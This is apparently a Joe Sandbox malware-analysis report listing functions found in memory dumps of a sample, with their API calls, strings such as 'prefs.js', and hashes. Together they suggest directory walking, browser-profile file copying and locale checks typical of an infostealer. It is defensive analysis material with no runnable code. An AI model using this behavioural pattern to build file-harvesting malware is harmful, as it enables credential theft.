Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e1a96a9cc30f0257c9d9d85f794f09743e15ad4d0fc8c7b306005909d784861f
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: e1a96a9cc30f0257c9d9d85f794f09743e15ad4d0fc8c7b306005909d784861f
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 040B47D7 Relevance: 22.6, APIs: 15, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 040B47E7
RtlAllocateHeap.NTDLL(00000000), ref: 040B47EE
wsprintfA.USER32 ref: 040B480D
FindFirstFileA.KERNEL32(?,?), ref: 040B4824
StrCmpCA.SHLWAPI(?,00420FC4), ref: 040B4852
StrCmpCA.SHLWAPI(?,00420FC8), ref: 040B4868
FindNextFileA.KERNEL32(000000FF,?), ref: 040B48F2
FindClose.KERNEL32(000000FF), ref: 040B4907
lstrcat.KERNEL32(?,0064A524), ref: 040B492C
lstrcat.KERNEL32(?,0064A22C), ref: 040B493F
lstrlen.KERNEL32(?), ref: 040B494C
lstrlen.KERNEL32(?), ref: 040B495D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID:
API String ID: 671575355-0
Opcode ID: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction ID: 43f7ce0e70792d7d9b2caf22e0bd8c47f0d2153dcf223ac1c2453e52c8d1ed41
Opcode Fuzzy Hash: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction Fuzzy Hash: 685199B5580218ABD724EFB0DC88FED737DEB54304F404588E649A6190DB74AB85CF95

Function 040B4107 Relevance: 18.1, APIs: 12, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 040B412A
FindFirstFileA.KERNEL32(?,?), ref: 040B4141
StrCmpCA.SHLWAPI(?,00420FAC), ref: 040B416F
StrCmpCA.SHLWAPI(?,00420FB0), ref: 040B4185
FindNextFileA.KERNEL32(000000FF,?), ref: 040B42D3
FindClose.KERNEL32(000000FF), ref: 040B42E8

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction ID: 757a2d089d848b95b7054c35b1a725c68dc78e95bd4b134a2fd5ff09c35a16de
Opcode Fuzzy Hash: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction Fuzzy Hash: 5F5173B6900218BBDB24FBF0DC84EEE737DBB44304F4085C8A689A6140EB75A785CF95

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 30246f1004ec411d292ebd34bd79ad3755d048ed616028282090bc1055ed864b
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 30246f1004ec411d292ebd34bd79ad3755d048ed616028282090bc1055ed864b
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 0040DE10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6
\*.*, xrefs: 0040DE26

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 50afc4e36d77e581407f3191a6a3500e24fa763b594c381bdeb7cacfe856dda6
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: 50afc4e36d77e581407f3191a6a3500e24fa763b594c381bdeb7cacfe856dda6
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 10403bee3d1061313c64fe9f4d720eb9e0ce2a9776297448fff9497b866f2e39
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 10403bee3d1061313c64fe9f4d720eb9e0ce2a9776297448fff9497b866f2e39
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,00401F2C,?,004251BC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425264), ref: 00401973
StrCmpCA.SHLWAPI(?,0042530C), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 9c6aaf26391f4c563266a8cc5a8ee762c18988f76758305471b50301855c95f9
Instruction ID: fa2d6fe3b05614b5a30e4509255bbbb1abe281ca63e4f804ed0983082d36a12e
Opcode Fuzzy Hash: 9c6aaf26391f4c563266a8cc5a8ee762c18988f76758305471b50301855c95f9
Instruction Fuzzy Hash: 681260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 040AEF87 Relevance: 13.9, APIs: 9, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 040AEFA5
FindFirstFileA.KERNEL32(?,?), ref: 040AEFBC
StrCmpCA.SHLWAPI(?,00421538), ref: 040AF012
StrCmpCA.SHLWAPI(?,0042153C), ref: 040AF028
FindNextFileA.KERNEL32(000000FF,?), ref: 040AF515
FindClose.KERNEL32(000000FF), ref: 040AF52A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction ID: 9b858bbe22bc2735ce53fd322bc0f327d61c800a3e4ed5c2cdc69d6abb6591d1
Opcode Fuzzy Hash: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction Fuzzy Hash: F0E12272A112189AEB68FB64DD50EEE7339AF54208F4041D9B18A72091EF347FC9CF95

Function 040ADCE7 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 040ADD52
StrCmpCA.SHLWAPI(?,004214B4), ref: 040ADD9A
StrCmpCA.SHLWAPI(?,004214B8), ref: 040ADDB0
FindNextFileA.KERNEL32(000000FF,?), ref: 040AE033
FindClose.KERNEL32(000000FF), ref: 040AE045

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction ID: ce0c4019c1cdea9c8d7122a511e8840f782698eedd4be9e807e57a866fd860b6
Opcode Fuzzy Hash: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction Fuzzy Hash: 97918572A002049BDB14FBB4DD55DEE7379AF95308F00465CA48AB6544EF38BB188FE5

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 20d38ecc57deb3d9438d43c255bd77c074e8988a0e7323bbf35c3da253216f35
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: 20d38ecc57deb3d9438d43c255bd77c074e8988a0e7323bbf35c3da253216f35
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 040AF917 Relevance: 12.3, APIs: 8, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 040AF985
StrCmpCA.SHLWAPI(?,004215BC), ref: 040AF9D6
StrCmpCA.SHLWAPI(?,004215C0), ref: 040AF9EC
FindNextFileA.KERNEL32(000000FF,?), ref: 040AFD18
FindClose.KERNEL32(000000FF), ref: 040AFD2A

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction ID: 8933b7e1816340df3d6d196d0a675468ba389537a904095552b0bf0aa01b6acf
Opcode Fuzzy Hash: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction Fuzzy Hash: DEB16171A102189BDB24FFA4DD94EEE7379AF94308F0081A9D48AA6150EF347B49CFD5

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 8f144413de28821d8ed2cdbfb72baf9137ae42be297c9f4de77e82f8f978c612
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 8f144413de28821d8ed2cdbfb72baf9137ae42be297c9f4de77e82f8f978c612
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 040A1937 Relevance: 11.0, APIs: 7, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425114,?,?,?,004251BC,?,?,00000000,?,00000000), ref: 040A1B8A
StrCmpCA.SHLWAPI(?,00425264), ref: 040A1BDA
StrCmpCA.SHLWAPI(?,0042530C), ref: 040A1BF0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 040A1FA7
DeleteFileA.KERNEL32(00000000), ref: 040A2031
FindNextFileA.KERNEL32(000000FF,?), ref: 040A2087
FindClose.KERNEL32(000000FF), ref: 040A2099

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID:
API String ID: 1415058207-0
Opcode ID: 30c097478159a8560779315bb3f44ea3a312a4c7821e37151fb7f80196eac8b7
Instruction ID: 8a3f358e0cfe917dc803978de925ca6459220da8619555a9fc4783fda7f20b27
Opcode Fuzzy Hash: 30c097478159a8560779315bb3f44ea3a312a4c7821e37151fb7f80196eac8b7
Instruction Fuzzy Hash: 26120C71A10218ABDB29FB64CD94EEE7379AF5430CF444199A14A76090EF747F88CFA4

Function 040AE077 Relevance: 10.9, APIs: 7, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,004214C0,00420C2E), ref: 040AE0C5
StrCmpCA.SHLWAPI(?,004214C8), ref: 040AE115
StrCmpCA.SHLWAPI(?,004214CC), ref: 040AE12B
FindNextFileA.KERNEL32(000000FF,?), ref: 040AE647
FindClose.KERNEL32(000000FF), ref: 040AE659

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID:
API String ID: 2325840235-0
Opcode ID: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction ID: 2d8cbb76edf5636da9ecf522109a05480716f5a0a3bf4558514d462ad855bbcd
Opcode Fuzzy Hash: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction Fuzzy Hash: 93F1E171A102189ADB29FB64DD94EEE7379AF5430CF4441DAA09A72091EF347F88CF94

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f793b8f56b8d187460904af65bf855dbf7dc4249980a78512ab563ebf14e2e71
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: f793b8f56b8d187460904af65bf855dbf7dc4249980a78512ab563ebf14e2e71
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 040ACA87 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040ACABA
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 040ACAD8
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 040ACAE3
memcpy.MSVCRT(?,?,?), ref: 040ACB79
lstrcat.KERNEL32(?,00420B46), ref: 040ACBAA
lstrcat.KERNEL32(?,00420B47), ref: 040ACBBE
lstrcat.KERNEL32(?,00420B4E), ref: 040ACBDF

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction ID: e037ae8f69bed60fd82e7d80fee07e79f4c158e6b807807b161f06d6cb35b8fe
